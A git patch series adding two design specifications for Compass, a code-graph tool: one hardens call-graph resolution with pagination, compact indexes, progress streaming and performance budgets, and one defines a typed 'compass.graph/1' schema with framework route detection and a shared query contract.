From 8a4376740c894e9b58fe4d88322b31a57097f6c6 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 21:12:08 -0700 Subject: [PATCH 01/25] docs: design call graph resolution pipeline hardening --- ...ph-resolution-pipeline-hardening-design.md | 420 ++++++++++++++++++ 1 file changed, 420 insertions(+) create mode 100644 docs/superpowers/specs/2026-07-27-call-graph-resolution-pipeline-hardening-design.md diff --git a/docs/superpowers/specs/2026-07-27-call-graph-resolution-pipeline-hardening-design.md b/docs/superpowers/specs/2026-07-27-call-graph-resolution-pipeline-hardening-design.md new file mode 100644 index 00000000..c15682ee --- /dev/null +++ b/docs/superpowers/specs/2026-07-27-call-graph-resolution-pipeline-hardening-design.md @@ -0,0 +1,420 @@ +# Call-Graph Resolution Pipeline Hardening Design + +**Date:** 2026-07-27 + +**Status:** Approved + +**Implementation root:** `/Users/haipingfu/graphify/compass` + +## Purpose + +Compass call graphs must remain responsive on large repositories without hiding +partial coverage or moving traversal semantics into the VS Code extension. The +first hardening pass made structural traversal adjacency-indexed and stopped +blocking every editor request on Program IR. This design completes that work: + +1. paginate every excluded continuation without making responses unbounded; +2. share the bounded traversal implementation with Program IR; +3. establish a release performance gate; +4. report real resolver progress; +5. restore Program IR as nonblocking progressive enrichment; and +6. serve requests from compact, persistent indexes with a small editor-session + cache. + +All six changes will land in the existing draft pull request as separate, +reviewable commits in the order above. + +## Goals + +- A fresh Compass process resolves a structural call graph in at most 500 ms + when `compass update` has already published the compact index. +- A repeated request in the same VS Code repository session resolves in at + most 100 ms from the session cache. +- Cached Program IR enrichment completes in at most one second. +- The first progress event is visible within 100 ms. +- Cancellation is acknowledged within 100 ms and no superseded result is + rendered. +- Every truncated frontier branch remains reachable through deterministic + pagination. +- Structural results render before optional semantic enrichment. +- Existing `compass call-graph --format json`, + `compass.program.call_graph/1`, and supported JSON consumers remain + compatible. +- Cache corruption, cache-write failures, stale cursors, and enrichment + failures have explicit, recoverable behavior. + +The release benchmark uses the retained Compass corpus with 26,567 nodes and +63,204 edges. Cache-miss migration and first index construction are measured +separately from the 500 ms indexed cold-process budget. + +## Non-goals + +- Add a long-lived resolver daemon. +- Move root resolution, traversal, evidence merging, or limits into VS Code. +- Change extraction or call-edge inference semantics. +- Make Program IR a prerequisite for opening a call graph. +- Change the legacy `compass program call-graph` response schema. +- Promise that all supported languages have identical call precision. +- Add a general-purpose cache framework for unrelated Compass commands. + +## Chosen architecture + +Compass uses versioned, signature-validated on-disk projections plus a small +VS Code session LRU. It continues to spawn a fresh CLI process for each cache +miss. A resident daemon was rejected because its lifecycle, upgrade, crash +recovery, workspace-trust, and memory ownership costs are disproportionate to +this feature. Extension-side traversal was rejected because Rust is the +canonical owner of deterministic traversal and evidence semantics. + +```text +graph.json ───────> compact structural call index ──┐ + ├─> compass call-graph +program.json ─────> compact Program IR call index ──┘ │ + ├─ structural result +VS Code request ──> repository-session LRU ── miss ────────────┤ + ├─ progress events + └─ enrichment result +``` + +The structural result is terminal for the structural request and immediately +renderable. Enrichment is a separate request and never returns the panel to the +full-screen loading state. + +## Component boundaries + +### Shared traversal engine + +`compass-analysis` will expose one internal direction-aware breadth-first +traversal implementation used by structural and Program IR call graphs. It +consumes: + +- a root identity; +- incoming and outgoing adjacency; +- direction; +- depth; +- maximum nodes; +- maximum edges; and +- a continuation page request. + +It produces selected node IDs, selected edge indexes, the complete ordered +frontier metadata needed for the requested page, and truncation counts. +Evidence conversion and response shaping remain in their respective builders. + +The engine must: + +- never scan the complete edge set once per visited node; +- stop queue admission at the node bound; +- stop edge admission at the edge bound; +- handle self-edges and cycles without duplicate work; +- sort before applying bounds; +- produce the same order for identical inputs; and +- expose cancellation checkpoints no more than 100 ms apart during index and + traversal work. + +### Compact structural index + +`compass-analysis` will define `compass.call_index/1`, stored next to the +existing graph query caches at +`cache/.graph.json.compass-call-index-v1`. It contains only data required by +call-graph resolution: + +- graph artifact fingerprint; +- callable nodes with stable ID, label, kind, file, inclusive lines, and + available evidence metadata; +- callable IDs grouped by normalized source file and ordered by source range; +- structural call edges; +- incoming and outgoing adjacency; and +- deterministic edge and frontier ordering keys. + +`compass update` attempts to publish this index atomically after publishing a +valid graph. Index publication failure does not invalidate the graph; a +call-graph request may build the index lazily from the valid graph, use the +in-memory result, and retry the atomic cache write. + +The cache header includes a cache magic, schema version, source artifact +length, source modification timestamp, and the SHA-256 captured when the index +was built. Fast cache validation uses the same length and modification-time +signature as the existing graph query cache. When a verified Compass build +seal is available, its graph digest must equal the stored SHA-256. Lazy builds +compute the digest while reading the source graph. A mismatch is a cache miss, +never a partial read. + +### Compact Program IR index + +`compass-analysis` will define `compass.program_call_index/1`, stored at +`cache/.program.json.compass-call-index-v1`. It contains: + +- the Program IR artifact signature; +- functions keyed by Program IR symbol and structural `graph_node_id`; +- source byte anchors; +- resolved, inferred, ambiguous, and unresolved call edges; +- exact call-site anchors and evidence IDs; and +- incoming and outgoing adjacency. + +The first valid Program IR load still performs the existing size, schema, +validation, and canonical-byte checks. It then writes the compact index +atomically. Subsequent matching requests load the projection rather than +deserializing, validating, and canonically reserializing the entire +`program.json`. + +Program cache failure cannot invalidate a valid structural result. + +### VS Code repository-session cache + +The extension will reuse the existing bounded LRU pattern. It holds at most +eight entries per repository and evicts until the estimated serialized total +is at most 16 MiB. The call-graph LRU key is: + +```text +repository ID ++ graph artifact fingerprint ++ normalized root ++ direction ++ depth ++ node/edge limits ++ continuation cursor ++ evidence layer +``` + +The cache stores validated response objects, not raw stdout. A graph +fingerprint change invalidates every entry for that repository. + +## Continuation pagination contract + +`compass.call_graph/1` gains additive fields: + +```json +{ + "artifactFingerprint": "sha256:...", + "continuationPage": { + "returned": 100, + "omitted": 2400, + "nextCursor": "opaque-or-null" + } +} +``` + +The existing `continuations` array remains the current page. The default page +size is 100 and cannot exceed the request's node bound. + +`compass call-graph` accepts: + +```text +--continuation-cursor +``` + +The token encodes: + +- cursor contract version; +- artifact fingerprint; +- normalized root identity; +- direction; +- depth; +- node and edge limits; +- evidence layer; and +- the last deterministic frontier ordering key. + +The token is base64url-encoded canonical data. It is not trusted: decode, +schema, fingerprint, and request-identity checks happen before traversal. A +tampered or stale token returns a typed cursor error and no graph result. + +The viewer presents: + +- up to twenty branch buttons initially; +- the existing “show all on this page” behavior; +- an exact omitted count; and +- “Load more branches” when `nextCursor` is present. + +Symbol-specific expansion remains available. Pagination adds reachability for +frontier symbols omitted by response bounds; it does not replace branch +expansion. + +## Progress and timing protocol + +`compass call-graph --format json` retains its current single-response +behavior. `--format jsonl` emits `compass.call_graph.events/1` records: + +```json +{"type":"progress","phase":"loading_structural_index","elapsedMs":4,"terminal":false} +{"type":"progress","phase":"locating_symbol","elapsedMs":7,"terminal":false} +{"type":"progress","phase":"tracing_calls","elapsedMs":11,"terminal":false} +{"type":"result","graph":{},"elapsedMs":13,"terminal":true} +``` + +Allowed structural phases are: + +- `loading_structural_index` +- `locating_symbol` +- `tracing_calls` +- `serializing_result` + +Allowed enrichment phases are: + +- `loading_program_index` +- `joining_evidence` +- `serializing_result` + +Every successful stream has exactly one terminal result. Every failed stream +has exactly one terminal error. Cancellation may end the process without a +terminal record, and the host treats that as cancellation only when it +requested the abort. + +The JSON response gains additive resolver timing metadata: + +```json +{ + "timingsMs": { + "indexLoad": 4, + "rootResolution": 3, + "traversal": 4, + "enrichment": 0, + "resolverTotal": 11 + } +} +``` + +The JSONL terminal envelope additionally reports serialization and end-to-end +elapsed time because those values are only known after the response has been +encoded. VS Code maps progress phases to the three user-facing steps and +records slow requests in the Compass output channel with artifact fingerprint, +artifact size, direction, depth, result counts, cache hit/miss, and phase +timings. + +## Progressive enrichment + +After a structural result is visible, VS Code automatically starts a +cancellable enrichment request when Program IR is available. + +The webview shows a compact “Adding semantic evidence…” status without hiding +the structural graph. An enrichment result may merge only when all of these +still match: + +- repository ID; +- request generation; +- root identity; +- direction; +- depth; +- graph artifact fingerprint; and +- structural response schema. + +Merge behavior preserves structural nodes and relationships, adds exact byte +anchors and evidence IDs, adds Program IR-only unresolved or ambiguous calls, +deduplicates call sites, and updates coverage counts and evidence-layer labels. + +An enrichment error leaves the structural graph visible, changes the compact +status to a nonfatal limitation, and writes diagnostic detail to the output +channel. Retry applies only to enrichment and does not discard the structural +graph. + +## Error handling and cancellation + +- Missing structural index: build from a valid graph and continue. +- Corrupt or incompatible structural index: ignore it, rebuild, and replace it + atomically when possible. +- Structural cache write failure: return the computed structural graph and log + that persistence failed. +- Missing Program IR: finish with structural coverage. +- Invalid Program IR: keep the structural graph visible and report enrichment + unavailable. +- Corrupt or incompatible Program IR index: validate the source Program IR and + rebuild the projection. +- Stale cursor: return a typed error that lets the viewer restart at page one. +- Superseded request: abort its process and ignore every late event. +- Panel disposal: abort structural and enrichment processes and remove + listeners. +- Limit breach: return a bounded, explicitly partial response with pagination + metadata; never label it complete. + +## Compatibility + +- Existing JSON call-graph requests remain valid. +- New JSON fields are additive within `compass.call_graph/1`. +- The viewer accepts responses without new fields during the extension/CLI + compatibility window. +- `compass.program.call_graph/1` remains unchanged. +- Cache formats have independent versions and are safe to delete. +- A newer unsupported cache is a cache miss, not a CLI compatibility failure. +- JSONL progress uses a new schema and is capability-advertised before VS Code + selects it. + +## Performance qualification + +Add a release-mode call-graph qualification script and CI gate. It records: + +- Compass commit and version; +- operating system, architecture, CPU, memory, and Rust toolchain; +- graph and Program IR fingerprints and sizes; +- cache-miss migration time; +- indexed cold-process structural time; +- repeated warm structural time; +- cached enrichment time; +- continuation-page time; +- cancellation acknowledgement time; +- peak resident memory; +- output byte size; and +- deterministic result digest. + +The controlled fixture budgets are: + +- indexed cold-process structural: at most 500 ms; +- VS Code session-cache response: at most 100 ms; +- cached Program IR enrichment: at most one second; +- first progress event: at most 100 ms; and +- cancellation acknowledgement: at most 100 ms. + +The benchmark fails on output-digest drift, missing terminal events, response +bounds violations, unreachable continuation pages, or a median latency +regression above ten percent from the approved baseline. + +The normal unit suite keeps deterministic bounds and ordering assertions. It +does not use a strict wall-clock assertion for a large synthetic graph. + +## Test strategy + +### Rust + +- Shared traversal contract tests run against structural and Program IR + adapters for callers, callees, both, depth, node/edge bounds, pagination, + cycles, self-edges, and deterministic ordering. +- Pagination tests collect all pages and prove every frontier continuation + appears exactly once. +- Cursor tests cover tampering, schema mismatch, request mismatch, stale graph + fingerprints, and deterministic replay. +- Structural and Program IR index tests cover round-trip, deterministic bytes, + corruption, version mismatch, stale signatures, interrupted writes, and + concurrent readers. +- CLI tests cover JSON compatibility, JSONL phase order, exactly one terminal + event, lazy migration, and nonfatal cache-write failure. + +### TypeScript and viewer + +- Process-manager tests cover progress parsing, cancellation, malformed + streams, duplicate terminal events, and output bounds. +- Panel tests cover session-cache hits, fingerprint invalidation, stale + generations, pagination requests, structural-first rendering, and nonfatal + enrichment errors. +- Viewer tests cover real active-step progression, omitted counts, loading the + next continuation page, enrichment status, and evidence merging without + duplicates. + +### Release qualification + +- Benchmark the retained Compass fixture in release mode. +- Record cold, warm, migration, enrichment, pagination, cancellation, memory, + bytes, and digests. +- Retain machine-readable results as CI artifacts. + +## Commit sequence + +The expanded pull request uses six commits: + +1. `feat(call-graph): paginate truncated continuations` +2. `perf(call-graph): share bounded Program IR traversal` +3. `test(call-graph): add performance qualification` +4. `feat(call-graph): stream resolver progress` +5. `perf(call-graph): cache progressive Program IR enrichment` +6. `perf(call-graph): persist compact call indexes` + +Each commit must independently pass its focused tests. The final branch must +pass the complete Rust workspace checks, JavaScript tests, typecheck, extension +build, viewer asset verification, release benchmark, and `git diff --check`. From 9bb83bd72ffa5eda560957874bf6b210c806a293 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 21:16:14 -0700 Subject: [PATCH 02/25] docs: design Compass Code Graph v1 --- ...2026-07-27-compass-code-graph-v1-design.md | 964 ++++++++++++++++++ 1 file changed, 964 insertions(+) create mode 100644 docs/superpowers/specs/2026-07-27-compass-code-graph-v1-design.md diff --git a/docs/superpowers/specs/2026-07-27-compass-code-graph-v1-design.md b/docs/superpowers/specs/2026-07-27-compass-code-graph-v1-design.md new file mode 100644 index 00000000..b665dcfe --- /dev/null +++ b/docs/superpowers/specs/2026-07-27-compass-code-graph-v1-design.md @@ -0,0 +1,964 @@ +# Compass Code Graph v1 Design + +**Status:** Approved for implementation planning +**Date:** 2026-07-27 +**Product:** Compass +**Schema:** `compass.graph/1` + +## Summary + +Compass will introduce a versioned, typed structural code-graph contract for +enterprise code navigation and analysis. The graph retains a +NetworkX-compatible node-link envelope while replacing the current free-form +node attributes and relationship strings with a validated Compass schema. + +The first release includes: + +- a fixed vocabulary for code and enterprise/domain nodes and relationships; +- stable, portable identity for files, nodes, and relationship sites; +- structured source evidence, provenance, confidence, coverage, and + diagnostics; +- automatic route detection and handler resolution for the approved framework + matrix; +- deterministic search, callers, callees, impact, explore, and node-trail + queries; +- optional Program IR enrichment without duplicating structural symbols; +- one versioned query contract shared by the CLI, MCP server, and VS Code + extension; +- a hard cutover from the current unversioned graph artifact. + +Graphify and the embedded TypeScript CodeGraph are not runtime dependencies. +Their behavior may inform fixtures and expected outcomes, but Compass owns the +new implementation and contract. + +## Product goals + +1. Make every graph fact interpretable. A consumer can determine what a node or + relationship means, where it came from, and whether it is exact, inferred, + ambiguous, or heuristic. +2. Give enterprise users consistent queries across languages and frameworks. +3. Prevent missing or partial extraction from being mistaken for proof that a + relationship does not exist. +4. Make clean builds, incremental builds, history materialization, CLI, MCP, + and VS Code agree on one graph model. +5. Preserve graph portability and standard tooling interoperability through a + NetworkX-compatible envelope. +6. Keep `graph.json` and `program.json` deterministic, auditable source + artifacts while using rebuildable indexes for query performance. + +## Non-goals + +- Enhancing or changing Graphify. +- Invoking or shipping the embedded TypeScript CodeGraph as part of Compass. +- Replacing Program IR with the structural graph. +- Treating numeric heuristic scores as calibrated probabilities. +- Using an LLM to create structural graph facts. +- Supporting pre-contract `graph.json` artifacts through translation or + compatibility aliases. +- Making SQLite the authoritative graph store. +- Adding vector search to the v1 query contract. + +## Architectural approach + +Compass will implement native Rust framework and domain intelligence packs. +The embedded TypeScript CodeGraph is a reference oracle only. + +```text +compass-languages + AST, configuration, and file-convention detection + | + v +Typed extraction facts + code symbols, routes, events, jobs, schemas, database entities + | + v +compass-resolve + cross-file identity, handler resolution, middleware ordering, + dynamic-dispatch synthesis, provenance + | + v +compass-graph + validation, stable identity, canonical ordering, + NetworkX-compatible compass.graph/1 publication + | + +------> compass-query derived SQLite/FTS5 index + | search, callers, callees, impact, explore + | +program.json ------> optional stable-symbol enrichment + | + v +compass.query/1 responses + CLI, MCP, VS Code +``` + +### Component responsibilities + +#### `compass-model` + +Owns: + +- the `compass.graph/1` document contract; +- node, role, and edge vocabularies; +- stable source anchors; +- provenance, evidence, confidence, coverage, and diagnostics; +- strict validation and canonical serialization; +- the versioned `compass.query/1` response model. + +#### `compass-languages` + +Owns: + +- syntax recognition; +- configuration-file recognition; +- deterministic file-convention recognition; +- local definitions and relationship sites; +- framework-specific local facts. + +It does not guess cross-file handler or dispatch identity. + +#### `compass-resolve` + +Owns: + +- cross-file symbol resolution; +- route-to-handler resolution; +- middleware ordering; +- event, message, job, and database relationship resolution; +- ambiguity preservation; +- dynamic-dispatch synthesis; +- heuristic rule and wiring-site evidence. + +#### `compass-graph` + +Owns: + +- combining resolved extraction facts; +- assigning and validating identities; +- endpoint-kind validation; +- canonical ordering; +- deterministic graph construction; +- atomic `graph.json` publication. + +#### `compass-query` + +Owns: + +- content-addressed SQLite/FTS5 query indexes; +- deterministic symbol ranking; +- callers and callees; +- transitive impact; +- explore and node-trail assembly; +- Program IR reconciliation; +- bounded results and truncation metadata. + +#### CLI, MCP, and VS Code + +These surfaces are adapters over `compass.query/1`. They do not implement +independent ranking, traversal, evidence classification, or framework +semantics. + +## Durable artifact + +Compass keeps a NetworkX-compatible node-link envelope: + +```json +{ + "directed": true, + "multigraph": true, + "graph": { + "schema": "compass.graph/1", + "build": { + "builderVersion": "compass/1.0.0", + "schemaFingerprint": "sha256:example-schema-fingerprint", + "sourceTreeDigest": "sha256:example-source-tree-digest", + "configurationDigest": "sha256:example-configuration-digest", + "generationId": "sha256:example-generation-id" + }, + "files": [], + "coverage": [], + "diagnostics": [] + }, + "nodes": [], + "links": [] +} +``` + +The envelope is interoperable; its contents are governed by the strict Compass +schema. + +### Envelope rules + +- `directed` is always `true`. +- `multigraph` is always `true`. +- `graph.schema` is exactly `compass.graph/1`. +- `nodes` contains typed Compass node records. +- `links` contains typed Compass relationship records. +- Every parallel link has a stable NetworkX `key` equal to its Compass edge + identity. +- Unknown kinds, roles, fields, provenance values, confidence values, or + diagnostic severities fail validation. +- Arbitrary flattened attributes are not part of the contract. +- The complete document is validated before atomic publication. +- Build metadata contains no wall-clock timestamp, checkout root, hostname, or + other machine-specific value. `generationId` derives from the other + fingerprinted build inputs. + +## Source anchors + +Every source-backed fact uses a half-open byte range and human-readable +line/column coordinates: + +```json +{ + "file": "src/orders/controller.ts", + "startByte": 1842, + "endByte": 1881, + "startLine": 61, + "startColumn": 8, + "endLine": 61, + "endColumn": 47 +} +``` + +Rules: + +- Paths are normalized repository-relative paths. +- Byte ranges are half-open: `[startByte, endByte)`. +- Lines are one-based. +- Columns are zero-based Unicode-scalar columns. +- Anchors must fall within the recorded file size. +- A zero-width anchor is permitted only for a convention-derived fact with no + literal syntax site; such a fact must still identify the convention input + file. + +## Node contract + +A node contains: + +- `id`; +- `kind`; +- zero or more semantic `roles`; +- `name`; +- `qualifiedName`; +- optional language and framework; +- optional source anchor; +- typed kind-specific details; +- one or more evidence records; +- optional coverage and diagnostics. + +### Node kinds + +#### Core code kinds + +- `file` +- `module` +- `package` +- `namespace` +- `class` +- `struct` +- `interface` +- `trait` +- `protocol` +- `enum` +- `enum_member` +- `type_alias` +- `function` +- `method` +- `constructor` +- `property` +- `field` +- `variable` +- `constant` +- `parameter` +- `import` +- `export` +- `macro` +- `annotation` +- `route` +- `component` + +#### Enterprise and domain kinds + +- `event` +- `message` +- `topic` +- `queue` +- `job` +- `resource` +- `schema` +- `query` +- `migration` +- `config_key` +- `database` +- `database_schema` +- `database_table` +- `database_view` +- `database_column` +- `database_index` +- `database_constraint` +- `database_procedure` +- `database_trigger` + +### Semantic roles + +A symbol retains one structural kind and may have multiple semantic roles. +For example, a NestJS method remains `method` while carrying +`controller` and `route_handler`. + +The v1 roles are: + +- `controller` +- `route_handler` +- `middleware` +- `service` +- `resolver` +- `consumer` +- `producer` +- `subscriber` +- `repository` +- `model` +- `test` +- `fixture` +- `generated` + +Roles never replace the node's structural kind and never create duplicate +symbol nodes. + +## Edge contract + +A link contains: + +- stable `id` and matching NetworkX `key`; +- `source` and `target` node IDs; +- exact `kind`; +- optional relationship-site anchor; +- structured provenance; +- one or more evidence records; +- typed kind-specific details; +- optional diagnostics. + +### Edge kinds + +#### Core relationships + +- `contains` +- `calls` +- `imports` +- `exports` +- `extends` +- `implements` +- `references` +- `type_of` +- `returns` +- `instantiates` +- `overrides` +- `decorates` + +#### Enterprise and domain relationships + +- `routes_to` +- `reads` +- `writes` +- `aliases` +- `registers` +- `handles` +- `publishes` +- `subscribes` +- `produces` +- `consumes` +- `schedules` +- `triggers` +- `tests` +- `depends_on` +- `documents` +- `maps_to` + +### Endpoint constraints + +Every edge kind has a closed set of permitted source and target kind families. +The initial domain constraints include: + +- `route routes_to function|method|class|component` +- callable nodes `calls` callable or constructible nodes +- callable nodes `publishes event|message|topic` +- callable nodes `handles event|message` +- callable nodes `reads|writes + database|database_schema|database_table|database_view|database_column|config_key` +- type nodes `maps_to database_table|database_view` +- callable or configuration nodes `schedules job` +- `job triggers function|method` +- test-role code symbols `tests` any code or domain symbol +- container nodes `contains` their declared members + +The implementation registry defines the complete matrix. Validation rejects a +relationship outside that matrix instead of degrading it to `references`. + +## Provenance, evidence, and confidence + +Every node and edge has structured provenance: + +```json +{ + "origin": "heuristic", + "extractor": "compass.languages.nestjs", + "rule": "message-pattern-dispatch", + "confidence": "inferred", + "anchors": [], + "wiringSite": { + "file": "src/events/gateway.ts", + "startByte": 900, + "endByte": 947, + "startLine": 32, + "startColumn": 2, + "endLine": 32, + "endColumn": 49 + } +} +``` + +### Origins + +- `ast`: direct syntax-tree evidence. +- `config`: direct configuration-file evidence. +- `convention`: deterministic framework or filesystem convention. +- `artifact`: evidence from a versioned external artifact such as SCIP. +- `heuristic`: synthesized dynamic-dispatch evidence. + +### Confidence + +- `exact`: the evidence determines one fact under the supported contract. +- `inferred`: deterministic evidence supports the fact but static parsing + cannot prove runtime selection. +- `ambiguous`: bounded evidence supports multiple candidates. + +### Provenance invariants + +- AST, configuration, and artifact facts identify exact anchors. +- Convention facts identify their input file and convention rule. +- Heuristic facts identify the synthesis rule and wiring site. +- A numeric score, when present, is evidence metadata and is never described as + probability. +- Ambiguous resolution retains all bounded candidates. +- No resolver silently chooses the first candidate. +- Conflicting evidence is retained and diagnosed. + +## Identity + +All identities are portable, deterministic, and schema-versioned. + +### File identity + +File identity derives from: + +- graph schema identity; +- normalized repository-relative path. + +It never contains an absolute checkout path. + +### Code-symbol identity + +Code-symbol identity derives from: + +- graph schema identity; +- language; +- node kind; +- normalized source path; +- canonical qualified name; +- overload discriminator where the language permits overloads. + +### Route identity + +Route identity derives from: + +- graph schema identity; +- framework; +- normalized HTTP method or protocol operation; +- normalized path or pattern; +- router, controller, or module scope. + +### Messaging identity + +Event, message, topic, and queue identity derives from: + +- graph schema identity; +- transport or framework; +- canonical subject/channel name; +- declaring scope. + +### Database identity + +Database entity identity derives from: + +- graph schema identity; +- logical database; +- database schema; +- entity kind; +- canonical qualified name. + +### Edge identity + +Edge identity derives from: + +- graph schema identity; +- source ID; +- target ID; +- edge kind; +- relationship-site anchor; +- rule discriminator. + +Distinct call or reference sites remain distinct links. + +### Rename semantics + +A rename or move is remove/add unless exact alias evidence establishes +continuity. Compass does not infer continuity from name similarity. + +## File inventory and source integrity + +Each `graph.files` record contains: + +- file identity; +- normalized path; +- language; +- content digest; +- byte size; +- generated status; +- extraction status; +- coverage; +- diagnostics. + +Source text is not copied into `graph.json`. + +Explore verifies the working-tree digest before returning source. If a digest +does not match, Compass returns a stale-source diagnostic and omits that +source slice. It never combines source from one generation with graph facts +from another. + +## Program IR relationship + +The structural graph and Program IR remain two intentional artifacts: + +- `graph.json` provides broad, language-neutral structural coverage; +- `program.json` provides deeper behavioral evidence where supported. + +Program IR remains independently versioned under its existing +`http://crab.build/compass/v1` schema. The graph cutover does not rename or +renumber Program IR. + +### Reconciliation rules + +- Program IR joins structural nodes through `graph_node_id`. +- It enriches matched nodes with exact calls, parameters, types, control flow, + effects, and capability coverage. +- It does not duplicate structural symbols. +- Program-only facts without a valid structural identity remain visible in + Program diagnostics but do not invent structural nodes. +- Matching structural and Program IR relationships retain both evidence + records. +- Conflicts produce structured diagnostics; there is no last-writer-wins + behavior. +- Absence from Program IR never deletes structural evidence. +- `graph.json`, `program.json`, the manifest, and trusted build-state markers + are published as one atomic generation with matching fingerprints. + +## Derived query index + +The authoritative artifacts are `graph.json` and `program.json`. + +Compass builds a disposable, content-addressed SQLite database with FTS5 under +`compass-out/cache/`. Its cache key includes: + +- graph digest; +- Program IR digest when present; +- graph schema fingerprint; +- Program IR schema fingerprint; +- query-index implementation version. + +A missing, stale, or corrupt index is rebuilt automatically. Index corruption +cannot corrupt the authoritative artifacts. + +## Shared query contract + +CLI, MCP, and VS Code consume versioned `compass.query/1` responses. The +response model includes: + +- resolved and alternative nodes; +- typed edges; +- files and source slices; +- connecting paths; +- evidence and provenance; +- Program IR enrichment; +- coverage and diagnostics; +- budgets, limits, and truncation state. + +Clients do not independently interpret raw graph attributes. + +## Search + +FTS5 indexes: + +- name; +- qualified name; +- kind; +- roles; +- file path; +- language; +- framework; +- signature; +- documentation. + +Ranking order is deterministic: + +1. exact name; +2. exact qualified name; +3. prefix match; +4. FTS5 BM25. + +Search supports filters for kind, role, language, framework, and path. Vector +or LLM search is outside v1. + +## Callers and callees + +The default traversal is one hop. Requests may set an explicit bounded depth. + +The execution relationship family includes: + +- `calls`; +- `routes_to`; +- `handles`; +- `subscribes`; +- `schedules`; +- `triggers`. + +Consequences: + +- callers of a controller action include each route that binds it; +- callees of a route include ordered middleware and the final handler; +- callers of an event handler include subscriptions or registrations; +- every heuristic hop includes its synthesis rule and wiring site; +- parallel relationship sites remain visible. + +## Impact + +Impact walks incoming dependency relationships transitively. + +Each result includes: + +- the reason and path by which it is affected; +- exact, inferred, ambiguous, and heuristic evidence; +- Program IR coverage where available; +- maximum depth and node limits; +- explicit truncation state; +- omitted-count estimates when they can be computed within the request budget. + +An `exact-only` mode excludes inferred, ambiguous, and heuristic edges for CI +and policy use. + +Container expansion enters the container's own members at the same impact +depth. Traversal does not climb containment and expand unrelated siblings. + +## Explore + +Explore accepts one or more symbol IDs or names. One bounded response contains: + +- disambiguation candidates; +- related symbols grouped by file; +- digest-verified source slices; +- the best connecting execution or dependency paths; +- inline edge provenance and wiring sites; +- Program IR signatures, types, effects, and coverage; +- unresolved and conflicting evidence; +- output-budget and truncation metadata. + +If a requested file is stale, its source is omitted and diagnosed. + +## Node trail + +A node query returns: + +- containment ancestors; +- immediate children; +- callers and callees; +- domain relationships; +- source evidence; +- provenance; +- coverage; +- diagnostics. + +Route nodes additionally show: + +- method or protocol operation; +- normalized and original path patterns; +- framework; +- router or controller scope; +- middleware sequence; +- exact, ambiguous, or unresolved handlers. + +## Framework routing intelligence + +Route resolution is automatic. Recognized files and syntax emit route nodes +after the next index or sync. + +The canonical handler relationship is `routes_to`. Generic traversal may +classify it in a broader reference or dependency family, but the stored edge +kind remains `routes_to`. + +### Route fact requirements + +Every route records: + +- framework; +- canonical method or operation; +- normalized path; +- original path expression or convention; +- declaring scope; +- source anchor; +- stable identity; +- provenance; +- resolution state; +- middleware order where available; +- resolved handler IDs or bounded candidates. + +File-based routes use `convention` provenance. Reflective or dynamic bindings +use `heuristic` provenance and include a wiring site. + +A route uses one `routes_to` edge per execution stage. Middleware edges carry +`stage: "middleware"` and a zero-based `position`; the final binding carries +`stage: "handler"`. This preserves execution order without reclassifying the +middleware or handler symbol. + +### Release-one framework matrix + +| Framework | Recognized shapes | +|---|---| +| Django | `path()`, `re_path()`, `url()`, and `include()` in `urls.py`; class-based `.as_view()` and dotted handlers | +| Flask | `@app.route`, blueprint routes, and declared methods | +| FastAPI | `@app` and `@router` decorators for standard HTTP methods | +| Express | `app` and `router` method calls with ordered middleware chains | +| NestJS | controllers and HTTP decorators; GraphQL resolvers, queries, and mutations; message, event, and WebSocket subscription decorators | +| Laravel | route methods, resources, `Controller@action`, and tuple syntax | +| Drupal | `*.routing.yml` controllers, forms, and entity handlers; `hook_*` implementations in supported module/theme/include files | +| Rails | verb routes using `to:` and hash-rocket controller/action syntax | +| Spring | method-level mapping annotations and composed HTTP mappings | +| Play | verb routes in `conf/routes` to Scala and Java controller actions | +| Gin, chi, gorilla, mux | registered HTTP method and handler calls | +| Axum, actix, Rocket | router methods and route attributes/macros | +| ASP.NET | HTTP method attributes on controller actions | +| Vapor | application and route-group method registrations | +| React Router, SvelteKit | route component and file-based route nodes | +| Vue Router, Nuxt | configured routes, file-based pages and server endpoints, and route middleware | +| Astro | file-based pages and endpoints including parameter and rest-segment conventions | + +No route is emitted merely because a string resembles a URL. + +## Enterprise and domain extraction + +The first release includes real producers for every declared kind. + +- SQL DDL supplies database, schema, table, view, column, index, constraint, + procedure, trigger, query, and migration evidence where syntax permits. +- Supported ORM packs supply `maps_to`, `reads`, and `writes` relationships + only when exact mapping or query evidence exists. +- Framework packs supply event, message, topic, queue, job, publish, subscribe, + schedule, trigger, produce, and consume facts. +- Manifest and configuration extraction supplies package, resource, + configuration, and dependency facts. + +A kind with no trustworthy producer is removed from the v1 vocabulary before +release rather than shipped as an unused promise. + +## VS Code behavior + +The extension is a presentation client for `compass.query/1`. + +It provides: + +- kind-specific icons and filters; +- symbol and route search; +- callers, callees, impact, explore, and node-trail actions; +- distinct styling for exact, convention, ambiguous, and heuristic evidence; +- an evidence inspector showing extractor, rule, source anchors, and wiring + sites; +- Program IR coverage and conflict indicators; +- stale-artifact and truncated-result states; +- source navigation from nodes and relationship sites. + +The extension does not implement its own traversal, ranking, framework +resolution, or provenance classification. + +## Validation and failure handling + +### Publication failures + +Graph publication fails for: + +- unknown node, role, or edge values; +- invalid endpoint-kind combinations; +- duplicate stable IDs with conflicting content; +- dangling endpoints; +- missing provenance; +- heuristic relationships without a rule or wiring site; +- invalid source anchors; +- repository-escaping paths; +- mismatched graph, Program IR, manifest, or build fingerprints. + +### Partial extraction + +An unsupported or unparsable file is represented by failed or indeterminate +coverage and a diagnostic. It does not silently disappear. + +The default developer build may publish a partial graph when all structural +invariants remain valid. Strict mode fails publication when required coverage +policy is not met. + +### Query outcomes + +These expected conditions are successful typed responses with diagnostics: + +- no match; +- ambiguous match; +- unresolved handler; +- incomplete coverage; +- stale source; +- bounded truncation. + +These are hard failures: + +- corrupt authoritative artifacts; +- schema mismatch; +- unsafe path; +- violated graph invariant. + +## Hard cutover + +`compass.graph/1` is the first supported Compass graph contract. Existing +unversioned graphs are pre-contract artifacts. + +Rules: + +- no legacy loader; +- no translation adapter; +- no compatibility relationship aliases; +- unversioned graphs are rejected; +- index and update commands rebuild from source; +- all derived caches are invalidated; +- VS Code reports that a rebuild is required; +- history comparisons rematerialize old commits from source into + `compass.graph/1`. + +The Program IR contract is independently versioned and is not renamed by this +cutover. + +## Security and resource bounds + +- All artifact and source paths are repository-relative and normalized. +- Source reads are confined to the repository and verified against recorded + digests. +- Graph, Program IR, source-slice, 